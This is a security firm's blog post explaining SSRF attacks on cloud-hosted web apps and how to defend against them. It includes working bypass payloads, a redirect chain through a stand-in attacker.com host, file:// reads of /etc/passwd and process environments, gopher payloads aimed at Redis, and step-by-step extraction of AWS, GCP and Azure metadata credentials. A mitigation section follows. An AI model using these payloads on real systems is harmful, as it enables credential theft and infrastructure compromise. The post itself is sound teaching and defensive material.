Home SERVICES
All Services Web App Security Network Testing Cloud Security Active Directory Red Team AI Red Teaming
COMPANY
About Us Certifications FAQ
Process Industries Blog Request a Quote
Back to Blog
Web Application

Server-Side Request Forgery: From Blind SSRF to Cloud Metadata Exploitation

Server-Side Request Forgery remains one of the most underestimated vulnerabilities in modern web applications. When the target runs on AWS, GCP, or Azure, a single SSRF finding can escalate directly into cloud credential theft, IAM role abuse, and full infrastructure compromise — all without touching the network perimeter. In this post we walk through our methodology: from detecting blind SSRF through timing and out-of-band channels, to bypassing URL filters, to extracting live cloud credentials from IMDSv1 endpoints.

What Is SSRF and Why Cloud Changes Everything

SSRF occurs when an application accepts a URL or hostname from user input and makes a server-side HTTP request to that destination without adequate validation. The classic example is a webhook tester, a URL preview generator, or a PDF rendering service — any feature where "fetch this URL for me" is the core functionality.

On-premise SSRF is serious. In cloud environments, it becomes catastrophic. Every major cloud provider exposes a non-routable metadata service at a link-local address (169.254.169.254 on AWS and GCP, with Azure sharing the same IP historically). This endpoint is accessible only from within the instance and requires no authentication on IMDSv1. A single successful SSRF request to this address hands an attacker the instance's temporary IAM credentials, region, account ID, and often user-data that contains hardcoded secrets.

Full-Read vs. Blind SSRF

Not all SSRF is equal. The distinction between full-read and blind variants fundamentally changes both the attack surface and the detection method.

Full-read SSRF returns the body of the fetched URL in the HTTP response or in application output — a PDF rendering service that embeds the fetched content, a link preview that shows page title and description, or a webhook debugger that logs response bodies. Here the exploitation path is direct: send the target URL, read the response.

Blind SSRF makes the outbound request but returns nothing useful to the attacker — no response body, no error message, sometimes not even a status code difference. Detection requires inferring server-side activity through indirect signals:

  • Out-of-band DNS resolution: Supply a URL containing a unique subdomain on a controlled DNS server (Burp Collaborator, interactsh, or a self-hosted server). If the target resolves the domain, SSRF exists even without visible output.
  • Response timing: Requests to non-routable RFC 1918 addresses that exist will return faster than requests to addresses that generate a TCP RST or timeout. A 50ms vs 3000ms delta against 192.168.1.1 and 192.168.1.200 respectively indicates internal host enumeration is feasible.
  • Error message differentiation: "Connection refused" and "No route to host" are different errors. Applications that surface these distinctions allow port-state inference across the internal network.

Identifying SSRF Entry Points

During web application assessments, we look beyond the obvious URL parameters. SSRF injection points we encounter most frequently include:

  • Webhook URL fields in integration settings
  • Import-by-URL features (avatars, documents, RSS feeds)
  • PDF/screenshot generation services that accept a URL
  • Referer, X-Forwarded-For, Host, and Origin headers processed by the backend
  • XML/SOAP bodies with entity expansion (SSRF via XXE)
  • SVG upload processing — SVGs can contain <image href="http://..."> tags resolved server-side
  • OAuth redirect_uri and callback URL parameters
  • Archive extraction with symlinks pointing to internal resources

A baseline test for any suspected SSRF vector looks like this — supplying an interactsh payload and watching for DNS callbacks:

POST /api/webhook/test HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "url": "http://ssrf-probe.c59x7a.interact.sh/test"
}

If the interactsh server logs a DNS lookup and HTTP request originating from the target's IP range, SSRF is confirmed — regardless of the HTTP response the application returns to us.

URL Parser Bypass Techniques

Most development teams apply SSRF mitigations reactively: they block 169.254.169.254, reject localhost, and filter 127.0.0.1. These blocklists are consistently bypassable through URL parsing inconsistencies between the filter layer and the HTTP client library. We use the following techniques in engagements:

IPv4 Alternative Representations

The IP 169.254.169.254 can be expressed in multiple formats that parse to the same address but may not match a simple string blocklist:

# Decimal representation
http://2852039166/

# Octal representation
http://0251.0376.0251.0376/

# Hexadecimal representation
http://0xa9fea9fe/

# Mixed notation
http://169.254.0xa9fe/

# IPv6 mapped IPv4
http://[::ffff:169.254.169.254]/

# IPv6 shortened
http://[::ffff:a9fe:a9fe]/

DNS Rebinding

A filter that resolves the hostname at validation time and rejects RFC 1918 addresses can be defeated if the DNS record's TTL is set to zero and the server resolves again at request time. We control the DNS server: first resolution returns a public IP (passes validation), second resolution returns 169.254.169.254 (hits metadata service). This requires precise timing but is reliable when automated.

URL Redirect Chaining

If the application follows HTTP redirects and only validates the initial URL, a redirect chain through an attacker-controlled server bypasses the filter entirely:

# Attacker-controlled server at attacker.com responds with:
HTTP/1.1 301 Moved Permanently
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Application submits:
POST /api/fetch
{"url": "http://attacker.com/redirect"}

Protocol and Scheme Abuse

URL scheme handling varies widely between libraries. Beyond http:// and https://, applications often process file://, dict://, gopher://, and ftp:// without realizing those schemes are passed to underlying curl or urllib calls. Gopher in particular allows crafting arbitrary TCP payloads — historically used to pivot SSRF into Redis command injection and SMTP abuse.

# Read local file via file:// (if not explicitly blocked)
file:///etc/passwd
file:///proc/self/environ

# Gopher to send raw bytes to an internal Redis instance
gopher://127.0.0.1:6379/_FLUSHALL%0d%0aSET%20shell%20...

URL Authority Confusion

Parsers differ on how they handle the authority component of a URL. These bypass patterns exploit those differences:

# @ symbol confusion — attacker.com may validate, 169.254.169.254 is requested
http://expected-host@169.254.169.254/

# Fragment mishandling
http://169.254.169.254#expected-host.com/

# Whitespace in URL (some parsers strip)
http://169.254.169.254 .attacker.com/

# Null byte injection
http://169.254.169.254%00.attacker.com/

AWS IMDSv1 Exploitation

AWS Instance Metadata Service version 1 is a fully unauthenticated HTTP service accessible at http://169.254.169.254 from any EC2 instance. A successful SSRF request against it returns a directory listing of available metadata paths. The most valuable path for credential theft is the IAM security credentials endpoint.

The attack sequence against an EC2 instance with IMDSv1 enabled proceeds as follows:

# Step 1 — Enumerate available IAM role names
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Response:
MyEC2InstanceRole

# Step 2 — Retrieve the temporary credentials for that role
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2InstanceRole

# Response (JSON):
{
  "Code": "Success",
  "LastUpdated": "2025-05-06T08:12:34Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "AQoDYXdzEJr...[truncated]...",
  "Expiration": "2025-05-06T14:12:34Z"
}

With these three values — AccessKeyId, SecretAccessKey, and Token — an attacker has a functioning set of temporary AWS credentials scoped to whatever IAM permissions were granted to the instance role. We then configure the AWS CLI on our attack machine:

export AWS_ACCESS_KEY_ID=ASIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_SESSION_TOKEN=AQoDYXdzEJr...[truncated]...

# Verify identity
aws sts get-caller-identity

# Enumerate accessible S3 buckets
aws s3 ls

# List IAM policies attached to the role
aws iam list-attached-role-policies --role-name MyEC2InstanceRole

From here the escalation path depends entirely on what the role is permitted to do. In our engagements we routinely encounter instance roles with s3:GetObject on all buckets (accessing customer data, backups, application secrets), ec2:DescribeInstances for full infrastructure enumeration, and occasionally iam:PassRole or sts:AssumeRole permissions that enable lateral movement to more privileged roles.

Additional IMDSv1 endpoints of interest: Beyond IAM credentials, /latest/user-data frequently contains bootstrap scripts with hardcoded database passwords, API keys, and S3 bucket names. The /latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance path exposes EC2 instance credentials used for internal AWS API calls. Always enumerate the full metadata tree — /latest/meta-data/ returns a directory listing.

AWS IMDSv2 and Its Limitations

IMDSv2 was introduced to mitigate SSRF-based credential theft by requiring a session-oriented token exchange before metadata access. The client must first PUT to the token endpoint with a TTL header, receive a token, then supply that token in subsequent GET requests via the X-aws-ec2-metadata-token header.

# IMDSv2 Step 1 — Obtain a session token (TTL in seconds)
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600

# Response: TOKEN_VALUE

# IMDSv2 Step 2 — Use token in metadata requests
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: TOKEN_VALUE

The important nuance: IMDSv2 enforcement is optional and must be explicitly configured per instance. Many organizations have large fleets of instances launched before IMDSv2 was the default, still running IMDSv1. Additionally, some SSRF scenarios can satisfy the PUT + GET requirement if the application being exploited allows arbitrary header injection along with URL control — making IMDSv2 bypassable in specific SSRF contexts where the attacker controls both the request method and headers.

GCP Metadata Service

Google Cloud Platform uses the same 169.254.169.254 address but applies a mandatory header check — requests must include Metadata-Flavor: Google. This partially mitigates naive SSRF exploitation but is not a robust control: any SSRF that allows custom header injection bypasses it entirely.

# GCP metadata — requires custom header
GET http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
Metadata-Flavor: Google

# Response:
{
  "access_token": "ya29.c.b0Aat...[truncated]...",
  "expires_in": 3599,
  "token_type": "Bearer"
}

# GCP also exposes project info, SSH keys, and startup scripts
GET http://169.254.169.254/computeMetadata/v1/project/project-id
GET http://169.254.169.254/computeMetadata/v1/instance/attributes/startup-script
Metadata-Flavor: Google

GCP also supports an alternative hostname metadata.google.internal, which resolves to the same address. This alternative is useful when filters block the IP literal but do not restrict internal DNS names.

Azure Instance Metadata Service

Azure's IMDS is accessible at http://169.254.169.254/metadata/instance and similarly requires a header — Metadata: true. The managed identity credential endpoint is the primary target:

# Azure managed identity token retrieval
GET http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Metadata: true

# Response:
{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiI...[truncated]...",
  "client_id": "...",
  "expires_in": "86399",
  "expires_on": "1746547954",
  "token_type": "Bearer",
  "resource": "https://management.azure.com/"
}

The returned bearer token can be used directly against Azure Resource Manager APIs to enumerate subscriptions, resource groups, key vaults, and storage accounts assigned to the managed identity.

SSRF-to-RCE Escalation Chains

Cloud credential theft is the headline impact, but SSRF pivots to RCE through several well-documented chains that we encounter on real engagements.

Internal Redis via Gopher

Redis running on 127.0.0.1:6379 without authentication — common in containerized environments — is reachable via gopher-based SSRF. An attacker can write a cron job or SSH authorized key to the filesystem if Redis runs as root:

# Gopher payload to write SSH public key via Redis CONFIG SET + SAVE
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0ASET...

Internal Kubernetes API Server

In EKS, GKE, and AKS environments, the Kubernetes API server is often reachable from pods on the cluster network. A service account token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token combined with SSRF against the API server can allow pod creation in privileged namespaces — a reliable path to node compromise.

# Reach the Kubernetes API from within a pod
GET http://kubernetes.default.svc.cluster.local/api/v1/namespaces
Authorization: Bearer [token from /var/run/secrets/kubernetes.io/serviceaccount/token]

Internal Jenkins and Admin Panels

CI/CD tooling such as Jenkins, Consul, and Vault are routinely deployed on internal addresses without network-layer authentication, relying on the assumption of network isolation. SSRF scanning of the RFC 1918 range frequently surfaces these services. Jenkins' unauthenticated Script Console (/script) accepts Groovy and provides direct code execution.

Defensive Guidance

Effective SSRF mitigation requires defence in depth. No single control is sufficient.

Application-Level Controls

  • Allowlist, not blocklist: Define the exact set of domains or IP ranges the application legitimately needs to fetch. Reject everything else. Blocklists of 169.254.169.254 and localhost are trivially bypassed as shown above.
  • Resolve and re-validate at request time: Resolve hostnames to IPs, validate the IP against the allowlist, then make the request. Ensure the HTTP client does not re-resolve after validation (use a custom resolver that pins the validated IP).
  • Disable redirect following: Configure HTTP client libraries to not follow redirects, or re-validate the destination after each redirect hop.
  • Restrict schemes: Explicitly permit only http and https. Reject file, gopher, dict, ftp, and data schemes at the parser level before any outbound connection is attempted.

Cloud Infrastructure Controls

  • Enforce IMDSv2: Set HttpTokens: required on all EC2 instances. In Terraform: metadata_options { http_tokens = "required" }. Apply this as a preventive SCP or AWS Config rule across all accounts.
  • Minimize instance role permissions: Apply the principle of least privilege aggressively. An application that serves web requests does not need iam:* or s3:*. Scope roles to the minimum API actions and specific resource ARNs.
  • Block metadata access at the network layer: In environments where instance metadata is not required, use host-based firewall rules or VPC security groups to drop outbound traffic to 169.254.169.254 from application server subnets.
  • Monitor metadata service access: Enable CloudTrail and VPC Flow Logs. Alert on requests to 169.254.169.254 originating from unexpected processes or at unusual volumes. IMDSv2 access is also logged and should be baselined.

Network-Level Controls

  • Deploy egress filtering on application subnets. Web servers have no legitimate need to initiate connections to RFC 1918 ranges other than their defined dependencies.
  • Run SSRF-specific scanner payloads (Collaborator, interactsh) as part of every authenticated web application test. Many teams assess for injection flaws thoroughly but skip SSRF because it requires out-of-band infrastructure to detect reliably.
Key takeaway: SSRF in a cloud-hosted application is not a medium-severity finding. When IMDSv1 is reachable, SSRF is a direct path to IAM credential theft and potential full cloud account compromise. Enforce IMDSv2 universally, apply strict egress filtering, and treat any URL-fetching functionality as a high-risk attack surface requiring manual security review before deployment.

FAQ

Does migrating to IMDSv2 fully eliminate SSRF risk?

No. IMDSv2 significantly raises the bar for metadata exploitation specifically, but it does not address other SSRF targets: internal services, Kubernetes API servers, Redis instances, or admin panels. SSRF remains exploitable on IMDSv2-enforced infrastructure if other internal resources are reachable. The root fix is application-level allowlisting combined with network egress controls.

How do we detect SSRF in a black-box assessment with no out-of-band infrastructure?

Response timing differences, error message distinctions between "connection refused" and "network unreachable," and HTTP response size variations when fetching known vs. unknown internal hosts all provide exploitable signal. Out-of-band detection via Burp Collaborator or interactsh remains the most reliable approach and is included in all our web application assessments.

Are containerized applications on ECS or GKE less exposed than EC2?

Container environments present a different but often equally severe attack surface. ECS tasks have their own IAM task roles accessible through a different metadata endpoint (http://169.254.170.2/ via AWS_CONTAINER_CREDENTIALS_RELATIVE_URI). GKE pods have Workload Identity bindings. The metadata path differs but the impact — stolen cloud credentials — is the same.

RELATED ARTICLES
Explore Web Application Security Testing →